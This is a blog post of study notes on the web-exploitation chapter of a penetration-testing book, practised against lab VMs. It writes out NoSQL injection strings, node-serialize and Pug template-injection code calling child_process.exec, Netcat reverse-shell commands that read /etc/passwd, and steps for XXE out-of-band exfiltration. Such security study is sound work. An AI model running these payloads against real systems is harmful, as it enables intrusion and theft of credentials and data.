Posted in Blog, Resources

THP3 Ch 3 Review

Disclaimer: Educational purposes, personal reference, don’t do illegal hacking, IANAL, etc.

Note: THP3 is my primary source for this. I’m putting my thoughts and notes to help me remember the info while avoiding putting too much info from the book here. If you are considering buying the book, I highly recommend it. 

THP3 03 – The Throw – Web Application Exploitation

I’ve been working on web app exploitation for bug bounty stuff, so I was excited for this chapter. Not much detail getting started – just notes to look elsewhere, specifically the OWASP Testing Guide. The other standard reference is The Web Application Hacker’s Handbook 2nd ed (WAHH). I have both and am using both. If you’re a video person and want a nice overview of web hacking, this Introduction to Web Hacking 101 from PAHackers and Brandon Keath is a really nice intro.

Kim notes that there haven’t been changes to many attacks since THP2, so they won’t be repeated. I get it, but I would have rather seen them included. The focus will be on newer critical exploits. If you need background in web app exploitation, I’m enjoying working on stuff from PentesterLab. I think the combination of this book and the other things I’m working on will give me a solid foundation for web app exploitation. Someone also brought up the OWASP Juice Shop at book club – this is another vulnerable app to attack and looks like a pretty good resource. The Natas wargame on OverTheWire is another good place to practice. I’ve done a little of it and plan to go back to it as I work through the various web hacking things I’m doing.

Bug Bounty Programs

This is a specific thing I’m targeting, so this was a nice section to have. Kim notes it takes 3-6 months to consistently find stuff, so that gives me a good time frame to keep in mind.

Common bug bounty programs:

There are more, just do some digging. Kim recommends starting with older or no-reward programs because they are less likely to have pros working on them. Remember to be careful about scope and what can be done.

I recommend starting with the resources already noted, the Cybrary Web Application Penetration Testing course (a bit dated, but good info) and Bug Crowd University. With those things done, I felt like I had a good handle on what went on in this chapter.

Something to note is that everything I’ve looked at stresses the importance of writing up your results in a solid way. This includes written documentation, screen shots, videos, and other ways of demonstrating proof of concept. Bug Crowd University has a very good primer on this and recommends using Markdown. I’ll second that recommendation – I’ve switched to using a Markdown editor to write blog posts and several other things, and it works very well. There are lots of Markdown options, but Typora seems to work well. It’s free while in beta and gets solid reviews. Visual Studio will also do Markdown, so it’s really a matter of finding what works for you. If you prefer online, I like StackEdit, and Dillinger gets good reviews.

The frequent mention of writing up your results well is a big part of why I’m sharing my THP3 notes and trying to blog somewhat consistently about info sec stuff. This is less formal than I would make bug reports, but it’s helping me internalize what I learn and given all the academic writing I’ve done, formal writing is less of a concern. Kim provides a link for a report generation form that can also be helpful.

Web Attacks Introduction – Cyber Space Kittens

So at this point, Kim has led us through recon and discovery (or enumeration) of the target website – Cyber Space Kittens (CSK). There is another VM provided for the web app exploitation exercises. That’s 2 so far for this book. If you are doing much with VMs, you may want to consider an external hard drive to store them or they may eat your hard drive.

Kim walks you through adding the VM to your hosts file. This was nice to have included because it’s often a must do when you are working on a host-only network. And since I’ve previously found some tools play nice with IP and some play nice with URL, this is a vital step for practicing. To do this, you have to edit the /etc/hosts file and add a line to identify the host – <IP address> <name>. Remember you may have to edit the IP later if you shut things down and come back. It’s pretty straight forward, but to give you an idea of what it might look like:

  127.0.0.1       localhost
  192.162.98.2    vulnerablemachine
  192.162.98.3    anothervulnerablemachine

Side note here – if you aren’t familiar with the various text editor options in Linux, you might want to make a note. Kali has Leafpad and Vim is also common. I like this reference by Christopher Kielty as a quick guide. It’s good to be familiar with several since you may get a shell on a machine with an editor other than the one you are most comfortable with.

The Red Team Web Application Attacks

Some rehashing here with a few links. One was to a checklist. Lots of bitly links, which are always an adventure since you really don’t know where they are going. Kim also states the older books were focused on how to test web apps, so this one will skip the basics and move into attacks used in the real world. It’s fine, but it bugs me. I went digging to see what the differences might be and how the books are supposed to be regarded as a group. Based on this reddit, it seems to be a bit of both editions and series. Looking at it a little more, I picked up the Kindle version of THP2 because it looks like a good reference and I like how Kim approaches things. Pardon that squirrel chasing – back to the book at hand.

Setting Up Your Web App Hacking Machine

The vulnerable app is written in Node.js, which is popular for several reasons – fast, cross-platform, etc. Kim does a good job explaining why Node.js was his choice. Basically it’s popular, has a ton of open source libraries, and some of those libraries are vulnerable.

Kim lists some browser extensions – Wappalyzer, BuiltWith, and Retire.js. I’m familiar with the first 2. Retire.js is new and seems to be available on Chrome and Firefox, but not as extensions from the store. Both have something available, but not from what seems to be the original Github. There are also Burp and ZAP plugins, so that looks helpful. And since I can trace that back to the Github developers, I’m a little more comfortable with it. Note, these aren’t on my version of the THP3 Kali build, so you may need to install them. The VM also doesn’t have Chrome, so it’s going to take some time to get set up in the VM for this. I like having both Chrome and Firefox available for testing, and I do switch over to a Windows box at times.

I’m not thrilled with the permissions for the Retire.js add-on in Firefox, so I’m going to use the one from the Github. This uses the Add-On SDK for Mozilla, so that isn’t great for long-term usage. And looking at what it needs, I think going with the BurpSuite and ZAP plugins are the most efficient option for my usage. Unfortunately, the BurpSuite plugin only works with pro, and that’s not something I’m doing quite yet. I suspect I’ll end up buying it later, but I need to be a little farther along with my bug bounty work to justify the expense. I use the BurpSuite free version frequently though, and there are a lot of really nice features. Adding to ZAP was simple – download, open ZAP, File > Load Add-on File.. > Choose file. Then check to make sure it worked by clicking on the “Manage Add-ons” icon (3 little squares) to see if it’s listed.

I also recommend using Foxy Proxy – it will make your life much easier as you need to turn proxies on and off. It can be installed from the add-ons store in either Chrome or Firefox. And remember that Burp and ZAP running at the same time will conflict. If your listener isn’t working, make sure you didn’t forget to close the other one.

Web Discovery

Once you have your target, it’s time to start enumerating it. You can spider with BurpSuite, and I’ve found it to work well. It’s also helpful to use as a proxy, and the Decoder tab comes in handy. But there are a fair amount of things only available on the paid version.

I haven’t used OWASP’s ZAP as much, but it’s worked well when I have used it. It’s setup similar enough to Burp that you can adjust between the two fairly quickly. There are also plenty of resources available at the ZAP project page.

DirBuster is inactive, but gets the job done. It is also available as a ZAP add-on, so that is probably the way to go.

GoBuster worked well and quickly. I like being able to designate which status codes are deemed positive, and there is an options to check for extensions. I’ll likely play with this one more.

Running through the tools, you can see multiple vulnerabilities in the chat VM. Kim notes that for an audit or pen test, these vulnerabilities would be reported. However, for red team purposes, these will be ignored to focus on things that would get advanced access, shells, or results in data leaks. As someone still learning the specifics of pen testing vs. red teaming, I found this info helpful. And it makes sense since red team being a more long-term approach, things that could result in the biggest issues (and fines) would understandably be the focus.

XSS

Cross-Site Scripting (XSS) testing takes time and is a popular target for bug bounties. If you aren’t familiar with a lot of the basic exploits, Hacksplaining has nice introductory lessons. Web for Pentester is another good place to work on the basics. I’ll be using that to test out some of these exploits as well since I’m working on that to improve my web app hacking

Kim starts off with basic attacks since they aren’t really harmful (that doesn’t mean it’s cool to go out and do these where you aren’t authorized to do so) and provides info for a basic XSS, cookie stealing XSS, forcing a file download, redirecting a user, and another script to enable key loggers and other capture options. This portion has text and then a series of exercises, so I’ll have notes on the text and then the exercises.

Resources for obfuscating payloads for XSS

WAHH goes into more detail about avoiding XSS filters and does a good job explaining what may work and why. Kim notes that not all JavaScript payloads require the <script> tags, so you can avoid filters looking for those tags. Kim provides a reference for what HTML Event Attributes for more info and directs you to try it out in the chat VM.

Get things set up, login, go to the chat…basic script works as expected (entered in the chat, not in the URL). All of these were straightforward. Note that the onload command waits for everything to be loaded, so there may be a time delay or refresh needed. Kim includes links to an archived XSS Mind Map by Jack Masa and an HTML 5 Security Cheatsheet that shows what vulnerabilities various browsers have. The section ends by introducing polyglot payloads that can avoid a lot of the input validation checks. The provided reference about polyglot payloads from 0xSobky – Unleashing an Ultimate XSS Polyglot provides a really nice rundown. Playing around with the polyglot payload in the book, it has 2 alerts. You can put indicators (like alert(1), alert(2)) to determine which alert made it through input validation. This should let you narrow down what’s being done to refine your exploit. Until you get used to it, you might want to keep a URL encoding reference handy, like this one from w3schools to help with avoiding input validation.

BeEF (Browser Exploitation Framework)

BeEF is a fairly popular tool. I tried in on a couple of different examples on the Web for Pentest from Pentester Labs. It seems pretty straightforward – find a way that XSS can be exploited and pop the BeEF script in there. Same thing for the chat VM. BeEF gives you full control of the target’s browser, so there’s a lot you can do. It’s going to take some time to go through all that BeEF can do, but it’ll be a good tool to get familiar with. BeEF can also be set up to work with Metasploit, which looks like a great additional option.

Blind XSS

Blind XSS is difficult to detect because it’s not visible to the attacker or user – just the admin or a back-end employee. XSSHunter is the recommended tool. It does require an account and creation of a custom subdomain. I believe this means both VMs will need to be connected to the Internet rather than in Host-Only mode. Switch the network adapters over if necessary, go through account creation and…the basic script worked fine. I did have to refresh the page to see the website (under the XSS Fires tab). The site also has multiple other payloads available. This will be fun to use on the Web for Pentester VM to see how some of the other payloads function. Some additional reading on blind XSS basics.

DOM Based XSS

Kim stats DOM-based XSS is a little less straightforward than other types. I agree. DOM (Document Object Model) XSS is based on being able to manipulate client-side scripts. Browsers don’t understand HTML, so an interpreter puts HTML into DOM. Looking at the source code as instructed, you can see a spot where the code says '+msg.name+': '+msg.msgText+' where you would expect to see your username and message in the message window. You don’t see the alert payload directly, which makes it harder to find where you may need to adjust the payload or where it’s executed. Definitely something to go play with some more in my other web app hacking tools.

Advanced XSS in NodeJS

Defending against XSS is difficult. You can’t just filter specific characters or words. And WAHH talked about how if the input validation is just looking for <script> you can change to <scRipt> as seen in the polyglot example to avoid that check. All languages have different things they are susceptible to, including NodeJS. The particular package used to build the chat VM doesn’t have built-in XSS protection unless it’s rendered through the template engine. A template engine results in XSS vulnerabilities being found through buffered code and string interpolation.

Template engines basically have spots to use for string variables (string interpolation). Pug can use both unescaped (!{}) and escaped (#{}) string interpolation. When escaped string interpolation is used, characters like < > ' " are HTML-encoded. Unescaped string interpolation typically results in XSS vulnerabilities. Escaped interpolation can result in XSS vulnerabilities if passed through JavaScript. In JavaScript, anything following != will be executed as JavaScript. And anytime you can insert raw HTML there may be XSS vulnerabilities.

Exercises

Exercise 1 was an example of good string interpolation with no real options to escape it. To determine this, a basic alert was entered and then the source code was viewed to see how the script was handled.

Exercise 2 showed unescaped string interpolation. Enter the basic alert exploit, submit it, get the alert. Then view the page source code to see how the script was handled.

Exercise 3 shows dynamic inline JavaScript with escaped string interpolation. The input is inside a script tag before the escaped interpolation. This means the JavaScript will automatically execute. Since it’s already in a script tag, you don’t even need to use the script tags. Putting quotes around the interpolation would have protected against this vulnerability.

Exercise 4 is unescaped buffer code. There’s no escaping, so it’s vulnerable by design.The basic alert script will work here.

Exercise 5 is escaped string interpolation into escaped dynamic inline JavaScript. The app is doing some minimal filtering, but the escaped string interpolation is in a script. You have to figure out how to escape the filtering. This can be done using “esoteric” Javascript. Basically, a bunch of [][(!-)] craziness. I’ve seen this before, and it’s definitely something to copy/paste. Kim provided a reference that will create this notation.

Overall, it’s difficult to protect against XSS. Understanding context and if escaping is required is critical to understanding the vulnerabilities. All languages have issues with XSS, so you have to understand the language and framework. This is why running things like Wappalyzer and BuiltWith and viewing source code is important.

XSS to Compromise

Once you’ve got a vulnerability, getting to shell is of course desired. Getting a user-to-admin style XSS in a CMS or similar can lead to complete access. Kim references a walkthrough by Hans-Michael Varbaek that has quite a bit of info. BeEF has exploitation using JavaScript. And a cool thing you could do is put a JS XSS payload on a victim machine, get the internal IP, and scan from there with the payload.

NoSQL Injections

It was nice that this section didn’t focus on SQL injections. Kim covered SQLMap in THP1 and 2. I’ve used SQLMap and found it worked well. NoSQL is focused on in THP3 because it’s becoming more prevalent. The typical SQL databases (MySQL, MSSQL, and Oracle) are relational, while the NoSQL version usually isn’t. NoSQL injections may work differently than traditional ones, and often are found with string parsing. A typical injection would be {"$gt":""}, which essentially says GT (greater than) is greater than “”(NULL). This is equivalent to the standard SQL injection of ' or 1=1--.

A few other NoSQL injection resources…

Attack the Customer Support System NoSQL Application

Use Burp and try try logging in with random info, see what info you get. You can see the username and password attempt being passed. You might be able to put a conditional in there to basically do the traditional SQL injection attack. You won’t see the server-side source code in a black-box test, but you can expect there to be a query to the backend database, MongoDB in this case. So looking at this, it makes sense. All you have to do is edit the request as it proxies through Burp – pretty straightforward. Putting the NoSQL injection of {"$gt":""} in for the admin password, you can see some input checking in Burp. That’s easy enough to edit and get admin access.

Kim goes on to emphasize the discussion of NodeJS is showing the ways new vulnerabilities can be introduced by newer frameworks and languages. One way this occurs for NodeJS is the qs module – it converts HTTP request parameters into JSON objects and is used by default in Express. This is important because on the server side, POST requests will be converted to JSON if bracket notation is used. Good to know. The edit here is a little different – the exploit goes before the =. So you get password[$gt]=. This syntax can also be used to get usernames. Just stick in the same thing, and you should be able to go through each user in alphabetical order. This works and is begging for a script to automate it. You do have to remember to include the previous user in the exploit:

  username[$gt]=<lastEnumeratedUsername>&password[$gt]=&submit=login

I found the same reference Kim provided when looking for more info Hacking NodeJS and MongoDB. The Websecurify author has a couple projects to work on NodeJS hacking that should be good references, and they use Docker, so it has the added bonus of getting more experience with that.

Deserialization Attacks

I haven’t done much with deserialization, so I looked over the OWASP Deserialization Cheat Sheet to get some general info. From that info, serialization is putting an object into a data format that you can restore later (save, send, etc.). Deserialization is the reverse – rebuilding the data into an object. This is most popular with JSON right now; it was XML previously. Coding languages have native ways of serializing objects, which offer their own opportunities for exploitation.

Back to THP3 and dealing with NodeJS…serialize.js is being used, which is upfront about being a potential security issue. You can pass untrusted data to the serialize() function to get arbitrary code execution. The serialize.js library uses eval(), which will execute raw JavaScript. Not a great option for user input. You need to create a serialized payload to be deserialized and sent through eval() to execute the JavaScript payload. More info and the JavaScript payload can be found on Opsex’s blog.

The walkthrough starts with a nice feature of Burp – the decoder. I find this pretty handy and easy to use. Drop the cookie into decoder and Base64 decode it. It shows up as {module":"node-serialize"}, so you can see the serialize module is being used. Since you can’t write directly to the web directory and have it accessible in NodeJS using Express and Pug like you can in PHP, there must be a specified folder path exposed to the public internet. (Seriously, just tips like this make this book worth reading. And seeing how Kim approaches things is helping me understand how to do this job.)

Side note…as of Firefox 52, there is captive portal detection that can be extremely annoying to click through when using Burp to proxy. You can tell Burp to ignore it or turn it off in Firefox. More info can be found here, but good grief that was annoying.

The walkthrough worked with no problem. Kim recommended doing some post exploitation, including reading the /etc/passwd file. I played around a little and had no issues executing Bash commands this way. I decided to get adventurous and try popping a shell. I thought I could use msfvenom. I found this msfvenom cheat sheet which is a nice, concise reference. I’ve used it before for php payloads, and it works well. It gave me an error, so I decided to do some more research. I found this method by Wiremask to get a reverse shell, it’s not quite what I’m working with, but I want to hang on to the link for future reference.

I thought about what I was doing and decided to try getting a shell with Netcat. Using a basic Netcat reverse shell, I was able to get a connection, but not an interactive shell. I remember running into this info before, so I popped up my notes, and found the way I got the shell using Python thanks to pentestmonkey. Once I got the interactive shell, I decided to look around a bit. But not long because I need to continue with the chapter.

So I’ll remember, here are the pertinent parts for getting the /etc/passwd file and getting a shell with Netcat. These just need to be put in the basic exploit and then into whatever way you are using the exploit.

  //Basic exploit portion, may need to be put into other things
  require('child_process').exec('stuff you want done')
  
  // The exec() portion to get the /etc/passwd file:
  exec('cat /etc/passwd >> /opt/web/chatSupportSystems/public/hackedpass.txt', function(error, stdout, stderr){console.log(stdout)})
  
  // The exec() portion to get a Netcat reverse shell
  exec('nc <hostIP> <hostPort> -e /bin/bash', function(error, stdout, stderr){console.log(stdout)})

Template Engine Attacks – Template Injections

Template injection is passing user input into render templates, so the underlying template can be modified. This is rarely unintentional and may be misinterpreted as XSS. This can also allow you to access the underlying OS to get remote code execution. You can use newline characters in template literals, which is needed for this exploit to get out of the paragraph tag because, like Python, Pug is space/newline sensitive. Kim points to Server-Side Template Injection by James Kettle as a good reference.

Template Injection Example

The walkthrough was pretty straightforward – you have to figure out if the input supplied can process basic operations. First up was trying a basic XSS script in the user field of DMs in the chat VM. That worked, so there’s an XSS vulnerability. Next question is can you interact with the template?

Checking this included use of Burp Repeater and swapping in a couple things to see if it would execute basic math. If you haven’t used it, Burp Repeater does what you would think – pick something and you can mess with it and submit it repeatedly through Repeater without having to go back to your browser. Big time saver and very useful. Looking at the portion that was passed related to the template (ti), you can see that the part where the input is used is wrapped in paragraph tags. So if you can escape those, the exploit may work. Since Pug is space/newline sensitive, a newline should do it. There was some URL encoding needed – %0a for new line and %3d for =, but the easiest way to deal with it is put what’s needed in Burp’s decoder. The first test will be just a newline, then some basic math.

So in Burp decoder, enter this and choose to encode as URL:

  
  =9*9

If this works (you get 81 outside of the paragraph tags), you have access to the global object. To get from here to shell execution, you have to find the right function to execute. First up is checking out the self global object root so you can see what you have access to. Eventually, you want to get back to the Require function to import the child_process.exec exploit to run OS commands. So after checking if you can access the global object, you need to parse it.

  
  each val,index in global
    p= index

Kim states from here on it’s trial and error to see what will work. He says to pick “process” out of the methods because it will eventually get us to ‘require’. You can check out the various methods you have access to by adding .<method> after global above. Then you can add another .<method> to check out the methods available in the process methods. Find require under the mainMethod, and try exploiting it. Remember to URL encode this before putting back in Burp repeater.

  
  - var x = global.process.mainModule.require
  -x('child_process').exec('<systemcommands>')

Enter whatever commands you would like, similar to those found in the Deserialization portion. The - at the beginning of the line denotes the variable will be hidden.

I used a basic Netcat reverse shell then used a python exploit (the same things mentioned above) to get an interactive shell. So these were the commands required…

In the systems commands portion of .exec:

  nc <hostip> <hostport> -e /bin/bash

On the host:

  nc -nlv -p <hostport>
  connect to <hostIP> from <targetip>
  python -c 'import pty; pty.spawn("/bin/sh")'

This section wraps with a mention of Tplmap that is similar to SQLmap. This worked fine and returned several injections that worked. It lists the plugins used, so that will be helpful for looking at specific exploit options.

  ./tplmap.py -u '<urltocheck>'

JavaScript and Remote Code Execution

Remote code execution (RCE) is a goal for pen testing and is most commonly found where uploads are allowed. Kim provides a reference on Github for webshells with the caveat that they should be used at your own risk. Second this – validate webshells as best you can by looking at the code, finding multiple references, etc. Digging around in hacking definitely leaves you exposed, so be mindful of that.

Attacking the vulnerable chat application with upload

I’ve done file upload exploitation in PHP before, but there are differences in how to do file upload exploits depending on the platform involved. In Node, you can’t just call a file in the browser to execute like PHP, so this will be a little different. This exploit will use a dynamic routing endpoint, which will read the file assuming it’s a Pug file. This gets back around to the Netcat shell I’ve been doing, but requires putting it into a text file. Then upload it to the VM, get the hash, and navigate to that filehash using drouting to trigger RCE. Pretty straightforward, but following Kim’s commands, Netcat wasn’t in verbose mode, so it was hard to tell when the shell connected. I prefer adding the v option so you can see what’s going on. This didn’t give an interactive shell, so I used the handy python option to elevate to a regular shell.

A couple of key points on where to find things…you will need to go to the HTTP history tab on the Burp proxy tab to retrieve the filehash. It may be buried and easy to miss, so using the search feature might be helpful. Depending on how much you’ve forwarded in the Intercept tab, you may need to go back. Look for a URL with “fileupload” in it to find the info you need. The drouting module was identified in the HTML as something to be removed in production, so that would be a clue to investigate more in an actual pen test or red team situation. Looking at the code Kim provided, I this was a specific app.get method added to test dynamic routing that is somewhat unique. I haven’t been able to find references to it elsewhere, so it may be one an example of why checking out the source code and doing some trial and error based on what you know is so important.

Server Side Request Forgery (SSRF)

SSRF is used for access to the local system, internal network, or pivoting. I wanted a little more info – OWASP SSRF and a blog from Acunetix gave me enough info to move forward. Kim says this type of exploit is often kind of ignored and thought of as not a big deal, but from his explanation, it can definitely lead to some serious damage because you can gain access to the internal network. Kim provides a presentation from Agarri as a reference. Definitely some good stuff there.

Walkthrough

This used the DM option. Put in a link, preview it, see what happens. You can set it up to view as local host. Once you are there, you need to see what’s available. This is done with Burp Intruder. Kim narrows down the ports (thank goodness – the free version does intruder, but it is throttled – this is one of those features that will likely get me to invest in the pro version), and you let it run. I’ve done this before and one of the things to watch for is a response that looks different from the others. In this case, one of the ports (28017) sent a much longer response and should be investigated. You can plug that port number in where the previous one was and get into the mongo db. Once you are in, you have to continue using the exploited local interface in the link to go to the other links – just pop the info at the end of the URL.

Relatively straightforward and good practice with Intruder. I wanted to see if I could do something similar with Zap. Close Burp, fire up Zap. Run through the same thing to get the URL into Zap. Right click on it, then choose Attack > Fuzz. Highlight the portion you want to fuzz, pick your payload, and start the fuzzer. It ran very quickly, and highlighted the abnormal response. You can choose to send that URL directly to Firefox, and there’s the mongo db again. I still think Burp is something worth investing in, but it’s nice to be able to figure out how to do similar things in Zap as well. I’m a believer in having multiple tools at your disposal.

XML eXternal Entities (XXE)

Next on to some work on attacking XML parsers. This is comon in apps allowing file uploads, parsing Office docs, JSON, and Flash. With improper validation, XML parsing can load to all kinds of problems. Some additional reading from OWASP, the OWASP cheat sheet, and Infosec Institute. This gets a new VM (are you putting your VMs on an external hard drive or lab machine yet?) since it has a custom configuration request. Fire up the VM, run Burp, check out the source code. See a hidden field submitted with a POST request. The user can control the POST data, so you can inject malicious code. And most XML parsing libraries support SYSTEM, which allows data to be read from a URI. So you can put in specific info to exploit the XML being parsed. This worked fine to read /etc/password. I didn’t get it to execute a Netcat shell. I tried looking at some other common Linux files and was able to access those. So I think it’s just figuring out what exactly you can access.

Advanced XXE – Out of Band (XXE-OOB)

If you couldn’t see the response or had other issues, you can go out of band by using a remote Document Type Definition (DTD). This is an XML file that defines the structure and legal elements of an XML doc. This is a four stage attack:

  1. Modified XXE XML attack

  2. Get the target to load a DTD file from the attack server

  3. Read the /etc/passwd file using code in the DTD file

  4. Get the data using code in the DTD file

No luck though – I checked everything multiple times. I was getting a warning about a failure to open a stream, so it seems like it’s not getting the file for some reason. This was a different error than Kim warned about. I’ll have to do some digging to figure out what’s going on.

Doing some troubleshooting…using the exact phrasing as the book, I got a connection refused error. Spent some time thinking about the errors (connection refused) I was getting and how to address them. I was pretty sure I needed to set up a server/listener of some type to allow my target to access the file. I did some searching on XXE-OOB and found a nice walkthrough by ZeroSec. I tried specifying the port in Burp Repeater, and that got a connection and GET /payload.dtd HTTP/1.0 followed by Connection: Close. This was using the same port for the payload file and in Repeater.

Next I popped up a basic Python server to see what would happen. I got a 404 error. I pulled up my host in the browser to see what directory it was dropping me into. It was not the typical var/www/html folder. This is how the SimpleHTTPServer (Python 2, http.server in Python 3) functions. You can set the directory using pushd or by moving to the desired directory . Because of how SimpleHTTPServer is set up, it will serve files from the working directory. It shouldn’t be used for production environments, but it gets the job done for this. Using this, I was able to get the file I was targeting.

Here are the steps I had to take to do the XXE-OOB exploit:

  1. Create the payload file. Put in ~ or specify the directory when setting up the Python server.

  2. Start the Python server:

      //Using current directory
      python -m SimpleHTTPServer 80
      
      //Using /var/www/html or cd to /var/www/html
      pushd /var/www/html; python -m SimpleHTTPServer 80; popd
  3. Start a Netcat listener nc -lvp 8888.

  4. Deliver the payload using Burp Repeater.

  5. See the payload being accessed via the Python server.

  6. See the Base64 encoded delivery on the Netcat listener.

  7. Copy/paste into Burp Decoder to see the /etc/passwd contents.4

I’m not sure if Kim didn’t have to open up a server or just presumed the reader would know to do so. But I got it working and learned a simple way to set up a server using Python that will definitely come in handy. Had I been working from my AWS instance, I would have been fine since it’s already setup to allow access.

Lessons Learned

Cool chapter – I feel like I learned a lot about exploiting some of the newer technologies being used. It was nice to realize that I am familiar with a decent amount of the things covered or could at least connect them with other contexts. Lots of different ways of doing attacks I’ve seen before and good reinforcement. Plus some good hands-on experience with deserialization and template engine attacks. I feel like reading the chapter, then going back and doing the labs and typing my notes is working well.

Next Steps

  • Keep working on the more common web application attacks

  • Find a bug bounties to practice on

  • Keep working on the other web app hacking stuff I’m doing

  • Apply the attacks learned here to the other web app hacking labs

  • Continue working on programming skills

Author:

Lifelong paradox - cyber sec enthusiast - loves to learn

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s

This site uses Akismet to reduce spam. Learn how your comment data is processed.